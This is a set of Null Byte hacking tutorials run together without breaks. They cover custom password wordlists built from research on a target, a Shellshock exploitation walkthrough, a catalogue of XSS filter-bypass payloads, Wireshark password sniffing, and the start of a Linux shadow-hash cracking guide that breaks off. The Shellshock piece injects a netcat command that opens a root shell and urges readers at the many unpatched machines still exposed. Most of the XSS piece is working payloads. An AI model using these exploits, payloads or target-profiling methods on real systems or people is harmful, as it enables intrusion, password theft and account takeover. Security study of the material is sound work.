How to Create Custom Wordlists for Password Cracking Using the Mentalist « Null Byte :: WonderHowTo | Beginners learning brute-forcing attacks against WPA handshakes are often let down by the limitations of default wordlists like RockYou based on stolen passwords. The science of brute-forcing goes beyond using these default lists, allowing us to be more efficient by making customized wordlists. Using the Mentalist, we can generate millions of likely passwords based on details about the target.Password crackingis a long-established art, relying on a combination of brute-force processing power and the ability to refine your list down to likely options based on what you know about a target. Many security protocols are vulnerable to brute-forcing attacks, which at its core relies on a few key principals.First, you must be allowed to try different passwords many times very quickly. Second, you need to be able to determine the difference between a password success and failure. Third, you need a list of passwords to automatically try very quickly. And finally, the password must be present in the list in order for the attack to succeed. As password lists get bigger, CPU and GPU performance becomes more important as the rate at which passwords can be attempted is sped up.Brute-Forcing WPA, SSH, FTP & Other PasswordsMost wireless networks are secured by WPA or WPA2 encryption, which is able to be cracked by capturing a network handshake and using your computer's CPU to brute-force the password. Beside WPA, protocols like SSH and FTP are also vulnerable to brute-forcing, although the methods of brute-forcing can be differentiated between online and offline type attacks.In an online attack, we connect directly to a service and send password attempts in a way that can be logged. An example of this would beReaveror SSHtrix, which need to be connected to the network the host is on in order to send password guesses. In these attacks, the limiting factor is often how many incoming connections the FTP or SSH server can accept and the amount of time you must spend connected to the host while cracking.In an offline attack, the major limiting factor is your CPU or GPU's ability to try different passwords quickly. Examples of this can be brute-forcing a WPA handshake, aWPS-Pixie dust attackafter collecting the necessary information, or cracking password hashes from a stolen database. In general, this is the only time you need to be worried about your GPU or CPU performance while brute-forcing.Options to Start With — Default ListsRather than simply start with a dictionary-style attack, a smart attacker will often first look forlists that contain real passwords. These lists are generally regarded asthe starting pointfor these sorts of techniques, as they will work against anyone with a truly awful or common password. In the wild, you can expect success rates of around 15% for these sorts of password audits. Obviously, if you are targeting a specific account or network, this is a pretty small chance of success.Don't Miss:How to Use Leaked Password Databases to Create Brute-Force WordlistsThat being said, you can still use these lists as a seed for a more refined attack based on information you know about the target. The reason these lists are effective is that you can think of them as a statistical survey of the most common passwords people use in the wild. Since the average user will reuse these passwords in multiple accounts, we can use the most common passwords as a seed to change small things, like adding or removing numbers, in a program called a word mangler.Details Approach — OSINT ResearchFortunately for hackers, a wealth of information exists online when trying to crack a specific target. A brute-force attack by the average script-kiddie may not be a substantial threat to an organization that enforcesusing strong passwords. A well-researched brute-force attack, however, can cut down the number of guesses and present only relatively strong guesses based on available information about the target and any password requirements. This can make a brute-force attack effective against selected, well-researched parts of a target's infrastructure.With some research, we can supply the data for wordlist creator programs which takes information learned about a target and generates a custom wordlist based on details it's likely the user may have created their password from.Custom Wordlist GeneratorsThere are a number of options for creating wordlists besides a simple dictionary, and the one we'll explore today isCommon User Passwords Profiler(or CUPP). A lightweight, simple Python program, CUPP is capable of generating an impressive seed of personalized password guesses. Other tools,like CeWL, allow for target websites to be scraped for unique words in order to use words that are common across the organization.Don't Miss:How to Crack Passwords with a CeWL-Based Custom WordlistWith a little bit of knowledge gleaned from social media and other public documents, running CUPP in the user interactive mode allows an interview-style approach to creating a custom password list.The example above produced 14,301 words in our test file, which is a great start, but nowhere near enough to wage an effective brute-force attack. However, we can use this output to use a more sophisticated wordlist creator called a word mangler to apply certain rules to these initial seeds to make a much larger password list to pull from.Word Manglers & Generating ChainsA word mangler creates new password guesses from a list of "seed" passwords, according to preset rules. This can be a very simple change, like applying a single change to the end of each seed password, or a more complex one, like adding every number from 0-9 to the end of each seed password. The latter would yield 10 new passwords guesses for every one password that goes into the program, so these lists can get large very quickly.To manage these rules easily, we'll be using a graphical program called theMentalistthat will allow us to create a "chain" of these rules to apply to our seed password list. We can also throw in other seeds besides our password list, like the words in the English dictionary. In general, the major "nodes" that can be applied to the base word list will append, prepend, change the case, or substitute letters from the words passed through them.Don't Miss:Principles & Technologies You Need to Know Before Cracking PasswordsAs you can see in the example below, applying only a few rules to the chain can lead to a huge increase in the size of your password list. This isn't necessarily good, as we'll need to to have a processor capable of actually chewing threw these password guesses. This password list of over a billion guesses is probably overkill. The size of the list depends on the number and type of nodes you apply, but we'll go through each of them.Step 1: Download the SoftwareThe Mentalist is easy to run even for absolute beginners, so we can download it for Windows, macOS, or Linux. To do so, you can head tothe download linkon GitHub and select the version that matches your operating system. After downloading it, install the application following the on-screen prompts, then open the Mentalist.To create our seed list, we'll use CUPP. Aside from making sure you have Python installed and updated on your computer, it shouldn't require additional dependencies to run. You can download CUPP by running the following in a terminal window.git clonegithub.com/Mebus/cupp.gitStep 2: Create the Seed ListOnce you've downloaded CUPP, you'll be ready to use the data you've gathered on a target to generate a custom list. Navigate to the directory CUPP was cloned into by typingcdCUPPinto your terminal window. Next, typepython ./cupp.py -ito run CUPP in the interactive-user mode.You'll see a series of prompts asking for information about the target. If you don't know, you can skip the particular question, but it's best to answer as many questions as you can find the information for.Once you enter the information you know, you'll be given the opportunity to add additional keywords you know about the target that can be thrown into the mix. At this point, you can also select the option to add special characters at the end of a password guess or add random numbers at the end. Finally, if your target thinks using leetspeak is clever, you can select a substitution rule that will convert password guesses to 1337 formatting.Once this is complete, the output should be a text file with thousands of password guesses. While this is a great start, it's time to expand our guesses with the Mentalist.Step 3: Create a Chain with the MentalistTo get started, open the Mentalist application you downloaded and installed previously. Once you see the GUI window, click on the plus in the "Base Words" node, and you'll see the option to add a custom file. Select "Custom File," and then open the TXT file we created with CUPP. We can also delete the English dictionary default node by clicking the minus button to the right of it.Once we have the base words added from CUPP, we can start adding our word mangling nodes. To create a chain, we will need to apply all of the rules we'd like to apply to our password guesses in sequence. We can explore the four main types of nodes we can add by clicking on the plus button in the top-right corner. This will give us a list of case modification, substitution, prepend, or append.For our first node, we can apply a "Case" node to modify the case of our generated password guesses. Once we select the node, we can click the plus button next to the node we created to see a list of options. We have the ability to modify uppercase or lowercase in different ways. Here, we'll set the first letter to uppercase, and all following letters to lowercase. Since this operation only creates one output per word from our base list, you won't see the size of the wordlist file change yet.Next, we can add a "Substitution" node by clicking the plus icon in the top-right corner again. This will give us the option to substitute letters, and in this case, we'll choose to substitute the letters "i" and "a" for their leetspeak counterpart.Next, we can add a "Prepend" node, which will add something to the beginning of each password guess. By clicking the plus icon next to the node we created, we can do things like incorporate zip codes by city or state. This will increase the size of our file by creating many outputs for each base word that goes into the node.Finally, we can add an "Append" node, which will put something at the end of our word guesses. By again clicking on the plus icon next to the node we created, we can see there are many options preinstalled for what we can add to our chain. In this case, I chose to add telephone area codes from the city of Los Angeles. This will increase our output even more, as for each guess passing into this node, there will be many outputs.We've produced a wordlist with a lot of outputs! This file would be 8.3 GB of password guesses to save. While this may be fine for some scenarios, we can also compress this with the option to save these options instead as a set of rules to dynamically generate the same list with tools likeHashcatorJohn the Ripper. To save your wordlist as either a wordlist file or as a set of rules, click the "Process" icon in the top-right corner, and select if you'd like to output the wordlist or rules.Don't Miss:The Strategy You Need to Know When Cracking PasswordsOnce you save your final list, you've created a large, customized set of password guesses tailored to the individual user. This wordlist should be much more effective at brute-forcing a target you know more information about, and can benefit even more if you have examples of the password policy for the account you're trying to hack or a previously breached password.Defending Against Tailored Brute-Force AttacksThese attacks target users who attempt to create stronger passwords using details around them that can be easily memorized. By using details like names of pets or family, significant dates, or another password "seeds" that can be researched, a word mangler can create many different variations using the same seed, increasing the likelihood of brute-forcing the password.To defend against this, users should never pick a password derived from easily researched details, especially if adding a number or modifying the case is the only thing modifying it. Instead,pick an acronym for a long phrase you can remember, or use a password manager to generate a completely random and secure password. By using a password manager, you can sidestep needing to always remember your password in the first place.Creating a custom password list of several million potential guesses based on details about the target is easy and requires only a small amount of research. I hope this guide has given you a window into the science of password cracking, and encourage you to explore how much further you can go with increasing the performance of brute-force attacks.If you have any questions or comments, feel free to leave a comment or reach me on Twitter@KodyKinzie.Don't Miss:How to Crack Passwords with a Crunch-Based Custom WordlistFollow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Justin Meyers/Null Byte; Screenshots by Kody/Null ByteRelatedHow To:Use Wordlister to Create Custom Password Combinations for CrackingHack Like a Pro:How to Crack Passwords, Part 5 (Creating a Custom Wordlist with CeWL)Hack Like a Pro:How to Crack Passwords, Part 4 (Creating a Custom Wordlist with Crunch)How To:Automate Brute-Force Attacks for Nmap ScansHack Like a Pro:How to Crack Passwords, Part 3 (Using Hashcat)How To:Creating Unique and Safe Passwords, Part 1 Using WordlistsHack Like a Pro:How to Crack Online Web Form Passwords with THC-Hydra & Burp SuiteHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHow To:Use Acccheck to Extract Windows Passwords Over NetworksHow To:Crack MD5 Hashes with All of Kali Linux's Default WordlistsHow To:Hack WPA/WPA2-Enterprise Part 2Hack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Brute-Force Email Using a Simple Bash Script (Ft. THC Hydra)Hack Like a Pro:How to Crack Private & Public SNMP Passwords Using OnesixtyoneHow to Hack Wi-Fi:Cracking WPA2-PSK Passwords with CowpattyHow To:Crack WPA/WPA2 with WifiteHow To:Brute-Force WPA/WPA2 via GPUHow To:Diceware Gives You Truly Random Yet Easy-to-Memorize PasswordsHack Like a Pro:How to Crack Online Passwords with Tamper Data & THC HydraHow To:Null Byte & Null Space Labs Present: Wi-Fi Hacking, MITM Attacks & the USB Rubber DuckyTutorial:Create Wordlists with CrunchAdvice from a Real Hacker:How to Create Stronger PasswordsNews:Advanced Cracking Techniques, Part 1: Custom DictionariesGoodnight Byte:Coding a Web-Based Password Cracker in PythonHow To:GPU Accelerate Cracking Passwords with HashcatNews:Advanced Cracking Techniques, Part 2: Intelligent BruteforcingHow To:How Hackers Take Your Encrypted Passwords & Crack ThemRainbow Tables:How to Create & Use Them to Crack PasswordsHow To:Recover WinRAR and Zip Passwords |
Hack Like a Pro: How to Hack the Shellshock Vulnerability « Null Byte :: WonderHowTo | Welcome back, my hacker novitiates!Every so often, a MAJOR vulnerability appears that makes millions of systems vulnerable to attack. The most recent, named Shellshock, basically leaves every Mac OS X, Linux, and UNIX system on the planet vulnerable. As nearly two-thirds of all web servers on planet Earth run one of these operating systems (primarily Linux), that's a whole lot of systems out there waiting to be harvested.This vulnerability is one of the most serious in recent memory. Basically, it leaves nearly every form of Linux, Unix, and Mac OS X vulnerable to "remote code execution." This mean that the hacker can run their own code remotely and do whatever they want on the system, basically owning it.Shellshock will be with us for quite a while,despite efforts to patch systems, as we are only beginning to understand the extent of this vulnerability. Every time a new patch is released, it almost immediately becomes obsolete as new vulnerabilities are being discovered daily. The first proof of concept involved running aCGI scripton the vulnerable system, but that is only scratching the surface of what can be done with this vulnerability.Many network and security admins are now sitting around pretty smug that they havepatched their systemand they are now safe. That is far from the truth! This vulnerability is linked to theBASH shelland any system calls it makes. That list is extremely long! Probably thousands of utilities and applications use BASH for system calls. Furthermore, nearly all the embedded systems, from security systems to automobiles to automated lighting systems use some form of Linux with a BASH shell. ALL are vulnerable to this hack.Of course, the whole industry of IT security administrators are now scrambling to close this hole. Years of experience have taught me that many won't and many more will think they closed it and haven't (there is a fair amount of incompetence among IT security folks, as in other professions). In the meantime, millions are millions of machines are out there, just waiting for your best efforts.Recently, our friends atRapid7, the developers ofMetasploit, released a quick and dirty module that exploits one of the first discovered Shellshock vulnerabilities, namely the exploitation of the BASH shell to send CGI scripts to anApache server. In addition, they also developed a module that enables us to exploit Shellshock using theDHCP service. Let's use that one to attack a Linux system and see how it works.Step 1: Start MetasploitLet's begin, of course, by firing upKali Linuxand starting Metasploit. You should be greeted by a screen similar to the following one.Step 2: Update MetasploitSince this is a new Meatsploit module, it is not in your Metasploit Framework when you downloaded Kali, so we need to update Metasploit. Let's open a terminal and type:kali > msfupdateThis might take awhile, so be patient.Step 3: Find the ExploitNow that we updated our Metasploit and presumably downloaded the new Shellshock modules, let's find this new exploit. In the Metasploit framework, type:msf > search shellshockAs we can see, Metasploit found theauxiliary modulefor attacking the DHCP client using the Shellshock vulnerability.Let's now load that module by typing:msf > use auxiliary/server/dhclient/dhclient_bash_envNow, let's type info to get more information on this module.msf > infoWe can see in the screenshot above each of the various options for this module and some basic information about it. The key parameters are CMD, SRVHOST, and NETMASK.Step 4: Set Up the Module ParametersNow, let's show options.msf > show optionsFirst, let's set the DHCP server IP. This is the SRVHOST parameter.msf > set SVRHOST 192.168.131.254Next, let's set the code that we want to inject through the BASH shell. Although, this module comes with anetcat commandby default, let's change it slightly with a command that I have found gives us better and more reliable results.msf > set CMD /bin/nc -l -p6996 -e /bin/shLastly, let's set the NETMASK.msf > set NETMASK 255.255.255.0Finally, let's simply type "exploit" to run the module.msf > exploitWhen we do so, we simply get the message "Auxiliary module execution completed." In our case here, this simply means that we were able to run our CMD line using the Shellshock vulnerability to set up a netcat listener with root privileges on port 6996 piping out a BASH shell to whoever chooses to connect to it!Step 5: Connect to the Exploited SystemNow that we have injected netcat into the vulnerable system, we should be able to connect to that machine remotely with administrative/root privileges. We would then own that machine!For demonstration purposes, let's connect to that system with a Windows machine remotely by connecting to the netcat listener. First, open a command prompt on the Windows system and type:c::\nc 192.168.131.129 6996When we do so, it will return a blank line. When we type "ifconfig":ifconfigIt returns the network settings of the exploited Linux system. Now, to confirm our privilege level, let's type "whoami":whoamiIn this screenshot, you can see that we have not only been able to access the system remotely, but we have root privileges. We OWN this system!The Shellshock vulnerability makes nearly every system that runs a version of UNIX, Linux, or Mac OS X vulnerable to exploitation. Since the vulnerability is related to the BASH shell and its system calls, the number of vulnerabilities and exploits will become nearly innumerable.This hack utilizes the BASH system call to the DHCP client, but this is just one of many potential exploits. Apple and the major Linux distributions have all issued patches, but there are still innumerable ways to get past these patches. I expect them to be issuing new patches almost weekly as we find more and more exploits taking advantage of the Shellshock vulnerability.I will keep you up to date on each of these new hacks, so keep coming back, my hacker novitiates!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaSteve JenkinsRelatedHow To:Exploit Shellshock on a Web Server Using MetasploitHow To:Exploit Shellshock-Vulnerable Websites with Just a Web BrowserNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Audit Web Applications & Servers with TishnaHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesBASH SHELLSHOCK:Am I Still Vulnerable? - a Different Approach for Linux.Hack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftWhite Hat Hacking:Hack the Pentagon?Hack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)How to Complete Shellshock 2:Blood Trails for the PS3Hack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7The Panama Papers Hack:Further Proof That Hacking Is Changing the WorldHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Find Your Computer's Vulnerability Using LynisNews:Hack the Switch? Nintendo's Ready to Reward You Up to $20,000How To:Fix Your Hacked and Malware-Infested Website with GoogleHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHack Like a Pro:How to Scan for Vulnerabilities with NessusHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)How To:Hack web browsers with BeEFHow To:Hack Coin-Operated Laudromat Machines for Free Wash & Dry CyclesNews:Best Hacking SoftwareNull Byte:Never Let Us DieHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Flaw in Facebook & Google Allows Phishing, Spam & More |
Advanced Techniques to Bypass & Defeat XSS Filters, Part 1 « Null Byte :: WonderHowTo | There is no shortage of defenses againstcross-site scripting(XSS) since it is so prevalent on the web today. Filters are one of the most common implementations used to prevent this type of attack, usually configured as a blacklist of known bad expressions or based onregexevaluation. But there is hope with a wide variety of techniques that can be used to defeat these filters.Basic ModificationsWe can start off with some relatively simple filter bypasses. Depending on the complexity of the filter involved, these can yield results with minimal effort.Most of the techniques we will explore will be a variation of a simplepayloadto test for XSS flaws, which looks like the following code. If the parameter being tested isvulnerable, an alert box will pop up showing a one.<script>alert(1)</script>Sometimes a simple alteration of this code will defeat basic defensive filters. Try inserting a space or tab after the opening script tag, like so:<script >alert(1)</script>
<script >alert(1)</script>Also, it works with an encoded tab, newline, or carriage return to break up the code.<script	>alert(1)</script>
<script
>alert(1)</script>
<script
>alert(1)</script>Varying the case of the script tags may also trick certain filters.<ScRipT>alert(1)</sCriPt>Another useful method that is often successful is thenull bytetrick. Inserting a null byte anywhere in the XSS payload can sometimes defeat filters.<%00script>alert(1)</script>
<script>al%00ert(1)</script>Attributes & TagsHTMLattributes provide additional information about certainelements on the page. When probing for XSS vulnerabilities, these attributes can often be abused to introduce scripts and thus demonstrate that a flaw exists. For instance, take theinputelement which contains avalueattribute:<input type="text" name="input" value="hello">We can insert our XSS test code by terminating the quotation marks of the attribute value and closing the input tag, like so:<input type="text" name="input" value="><script>alert(1)</script>Sometimes even using an arbitrary tag name can bypass filters.<randomtag type="text" name="input" value="><script>alert(1)</script>Similar to before, we can also try replacing the space between the tag name and the first attribute.<input/type="text" name="input" value="><script>alert(1)</script>
<input	type="text" name="input" value="><script>alert(1)</script>
<input
type="text" name="input" value="><script>alert(1)</script>
<input
type="text" name="input" value="><script>alert(1)</script>
<input/'type="text" name="input" value="><script>alert(1)</script>Changing the case of the tag name can have desirable effects as well.<iNpUt type="text" name="input" value="><script>alert(1)</script>The null byte trick may also work on tag names. Try inserting them at different positions.<%00input type="text" name="input" value="><script>alert(1)</script>
<inp%00ut type="text" name="input" value="><script>alert(1)</script>This can work on attribute names and values, too.<input t%00ype="text" name="input" value="><script>alert(1)</script>
<input type="text" name="input" value="><script>a%00lert(1)</script>Event HandlersThe HTML language contains events, which are basically things that happen to the elements on a page. Event handlers are the means to make this happen, usually by way ofJavaScript. Events can be initiated by thebrowseror auser. Some examples of events are a button being clicked, a page load, or an error being thrown.Don't Miss:Discover XSS Security Flaws by Fuzzing with These 3 ToolsLet's take our example from earlier using the input element and inject an event handler containing code to test for XSS. We can use any appropriate event handler (onsubmit, in this case) to craft a payload. The following example will trigger an alert box once the form input is submitted if it is vulnerable to XSS.<input onsubmit=alert(1)>Depending on the type of filter in place, there are many other event handlers that can be used to probe for XSS flaws. Many of these don't even require any user interaction, making them ideal when carrying out tests.<object onerror=alert(1)>
<body onactivate=alert(1)>
<body onfocusin=alert(1)>
<script onreadystatechange=alert(1)>
<input autofocus onfocus=alert(1)>HTML5 also introduced some new attack vectors in regards to event handlers. Media, such as audio, video, and SVG graphics, can now be used.<audio src="new.mp3" onerror=alert(1)>
<video src="new.mp4" onerror=alert(1)>
<svg width="200" height="100" onload=alert(1)>The new standard allows for event handlers within closing tags as well.</a onfocus=alert(1)>Delimiters & BracketsA delimiter is one or more characters used to separatestrings of textor otherdata streams. Clever use of delimiters can prove fruitful when searching for XSS vulnerabilities. In HTML, whitespace is usually used to separate attributes and their values. Sometimes, filters can be fooled simply by using single or double quotes as delimiters.<img onerror="alert(1)"src=x>
<img onerror='alert(1)'src=x>The encoded values of these can also be utilized to try to bypass defenses.<img onerror="alert(1)"src=x>
<img onerror='alert(1)'src=x>The grave accent, or backtick, provides another useful trick that can often sneak past filters.<img onerror=`alert(1)`src=x>And the encoded version:<img onerror=`alert(1)`src=x>Filters will sometimes screen for certain keywords, like event handlers beginning with "on," in an effort to stop XSS attacks using that vector. If we switch around the order of the attributes from before, a filter that is unaware of grave accents will treat this as a single attribute that doesn't start with "on," effectively bypassing the filter.<img src=`x`onerror=alert(1)>Much like delimiters, brackets can also be abused in an attempt to trick filters. In certain situations, the filter might simply look for pairs of opening and closing brackets and compare the contents inside against a blacklist of bad tags. By using extra brackets, the filter can sometimes be tricked into accepting the remaining code. The double slash comments out the extra bracket on the closing tag so no error is produced. So this:<<script>alert(1)//<</script>Becomes this after passing through the filter:<script>alert(1)</script>Sometimes using an opening bracket at the end will bypass the filter.<input onsubmit=alert(1)<In some cases, anapplicationwill translate unusual characters into their nearest equivalents based on similar features. For instance, if we replace the traditional opening and closing brackets with double-angle quotation marks, an application performing this behavior may transform these into the correct characters, effectively allowing the input as valid and defeating the filter.«input onsubmit=alert(1)»It may also prove successful to encode these characters, similar to the examples from before.®input onsubmit=alert(1)¯Pseudo-ProtocolsBrowsers can accept JavaScript code inline as part of a URL or any attribute that expects a URL. VBScript, a similar scripting language based on Visual Basic, is also used in some older versions ofInternet Explorerin much the same way. These pseudo-protocols can sometimes be used as an additional vector for XSS attacks.Let's take thea hrefattribute, for example. This HTML attribute specifies the URL of a link location, usually with some text intended as a hyperlink, like so:<a href="https://www.google.com">Click Here</a>We can inject code to demonstrate an XSS vulnerability using the JavaScript pseudo-protocol.<a href="javascript:alert(1)">Click Here</a>Other attributes that take a URL as a value can also be utilized (please note that while it is a recommended practice, attribute values do not require quotes).<img src=javascript:alert(1)>
<form action=javascript:alert(1)>
<object data=javascript:alert(1)>
<button formaction=javascript:alert(1)>
<video src=javascript:alert(1)>Stay Tuned for More Filter BypassesSo far we have explored various methods used to bypass and defeat XSS filters, ranging from basic alterations like inserting spaces and varying case, to injecting into attributes and event handlers and fooling filters into accepting unusual characters like backticks and double-angle brackets. Next, we will dive into JavaScript a little more and how it can be utilized to sneak past filters, as well as techniques for beating input sanitization and length restrictions.Next Up:Advanced Techniques to Bypass & Defeat XSS Filters, Part 2Follow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byShonEjai/Pixabay; Screenshots by drd_/Null ByteRelatedHow To:Advanced Techniques to Bypass & Defeat XSS Filters, Part 2How To:Hack a remote Internet browser with XSS ShellHow To:Hack websites using cross-site scripting (XSS)Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeSQL Injection 101:How to Avoid Detection & Bypass DefensesHow To:BeEF - the Browser Exploitation Framework Project OVER WANHow To:Get advanced Adobe After Effects techniquesHow To:Learn advanced pottery techniquesHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)How To:The Hacks Behind Cracking, Part 1: How to Bypass Software RegistrationHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against ItNews:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreExploiting XSS with BeEF:Part 1News:Cybord VirusSocial Engineering, Part 2:Hacking a Friend's Facebook PasswordNews:Remove Adobe 30 Day CS4 Trial LimitHow To:Shoot Clouds Like a ProNews:Minecraft World Weekly Workshop: Techniques in ArchitectureNews:Minecraft World's Ultimate Survival Guide, Part 4How To:Get the 'Mind Over Matter' Achievement |
How to Use Wireshark to Steal Your Own Local Passwords « Null Byte :: WonderHowTo | Here atNull Byte, we've spoken a lot about securing and anonymizing traffic. This is a big deal. With all of today's business taking place electronically via computers, we need to be secure when on-the-go. A lot of businesses don't even train their employees to secure their computers to protect from various threats. Here are a few things that should always happen when doing business on computers:Always use a strong OS password.Companies should always offer a VPN service to encrypt employees' traffic.Never access unencrypted wireless.What's the Deal with Encryption?You'll hear me say, "encrypt this" or, "use SSL" on a regular basis. But I've come to realize a lot of you still have no idea why this is so important, so let's go over why. Normally, network traffic is transmitted in plaintext. This means that whatever you send over the network can be read byanyone. However, your network interface will only receive and read packets that containyourhost IP address. So this means we are safe, right? Wrong.Open source geeks like myself use open source networking drivers, which allows our interfaces to be switched intopromiscuous mode. This forces the networking interface to recieve all packets it sees, effectively "sniffing" all of the packets. This means that the data can be analyzed in hexadecimal, which will reveal any senstive information that was transmitted, such as messages or login credentials.We are going to be using a packet sniffer to collect information from when we browse the internet. Let's get started.RequirementsWindows (with a USB wireless interface capable of packet sniffing), or GNU/LinuxRoot privilegesStep1Download & Install WiresharkWindows users follow a simple point and click install. Linux users must enter text inboldas a terminal command.Wireshark is a complete internet protocol analyzing suite. It can analyze most forms of traffic and has a quick, clean graphical user interface.DownloadWireshark.Extract the archive.tar zxvf <wireshark>Configure for installation../configureCompile and install the program.make && sudo make installRun wireshark.sudo wireshark-gtkStep2Sniff Packets for Sensitive InformationWith Wireshark running, follow along with me in this vTutorial on how to see and sniff traffic. This will help you see how important using HTTPS websites, and encryption is.Please enable JavaScript to watch this video.Want to learn more about hacking and security? Visit the Null ByteIRC. Follow me onTwitterorG+for updates.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicensePhoto byDavicRelatedHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 2 (Packet Analysis)How To:Intercept Images from a Security Camera Using WiresharkHow To:Hack wifi using WiresharkHow To:Spy on Traffic from a Smartphone with WiresharkHow To:Have Your Friends Ever Used Pandora on Your Computer? Well, You Can Steal Their PasswordsHow To:Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target RouterHow To:Get started with WiresharkAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)News:8 Tips for Creating Strong, Unbreakable PasswordsHow To:Intercept Security Camera Footage Using the New Hak5 Plunder BugHow To:Hunt Down Wi-Fi Devices with a Directional AntennaHow To:Identify Antivirus Software Installed on a Target's Windows 10 PCHow To:Detect Script-Kiddie Wi-Fi Jamming with WiresharkBecome an Elite Hacker, Part 2:Spoofing Cookies to Hack Facebook SessionsMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHow To:Spy on Your "Buddy's" Network Traffic: An Intro to Wireshark and the OSI ModelHow To:Get Free Wi-Fi from Hotels & MoreHow To:Carve Saved Passwords Using CainNews:8 Wireshark Filters Every Wiretapper Uses to Spy on Web Conversations and Surfing HabitsNews:Network Admin? You Might Become a Criminal SoonHow To:Remove a Windows Password with a Linux Live CDMastering Security, Part 1:How to Manage and Create Strong PasswordsNews:Best Hacking SoftwareHow To:Bypass a Local Network Proxy for Free InternetHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Hack Mac OS X Lion PasswordsHow To:Bypass Windows and Linux PasswordsHow To:How Hackers Take Your Encrypted Passwords & Crack ThemGoodnight Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data Theft |
Hack Like a Pro: How to Crack User Passwords in a Linux System « Null Byte :: WonderHowTo | Welcome back, my eager hackers!In recent blogs, I've demonstrated how to grab password hashes remotely usingMetasploit'smeterpreterandpwdump. Once we have the Windows passwords from the SAM file, we can then crack these hashes using tools such as Cain and Abel.In this article, we'll look at how to grab the password hashes from a Linux system and crack the hashes using probably the most widely used password cracking tool out there,John the Ripper.Let's boot upBackTrackand get hacking!Where Linux Passwords Are StoredLinux passwords are stored in the/etc/passwdfile in cleartext in older systems and in/etc/shadowfile in hash form on newer systems. We should expect that the passwords on anything other than old legacy systems to be stored in/etc/shadow.Step 1: Create Some User AccountsSince our BackTrack system probably doesn't have many users on it other than our root account, let's go ahead and create a couple more accounts.Let's createuser1with password "flower" anduser2with a password of "hacker".I've purposely chosen dictionary words as the complexity of the password is inversely related to the time necessary to crack it. One of the nice features of John the Ripper is that it will try to use a dictionary attack first. If that fails, it will try a hybrid attack. And only if that fails will it attempt a brute-force attack, which is the most time consuming.Step 2: Open John the RipperNow that we have a couple of regular users in our system with simple passwords, we now need to open John the Ripper. John the Ripper is a simple, but powerful password cracker without a GUI (this helps to make it faster as GUIs consume resources).We can access it from BackTrack by going to theBackTrackbutton on the bottom left, thenBacktrack,Privilege Escalation,Password Attacks,Offline Attacks, and finally selectJohn the Ripperfrom the multiple password cracking tools available.If you selected the correct menu item, it will open a terminal that looks like this.By the way, feel free to close our previous 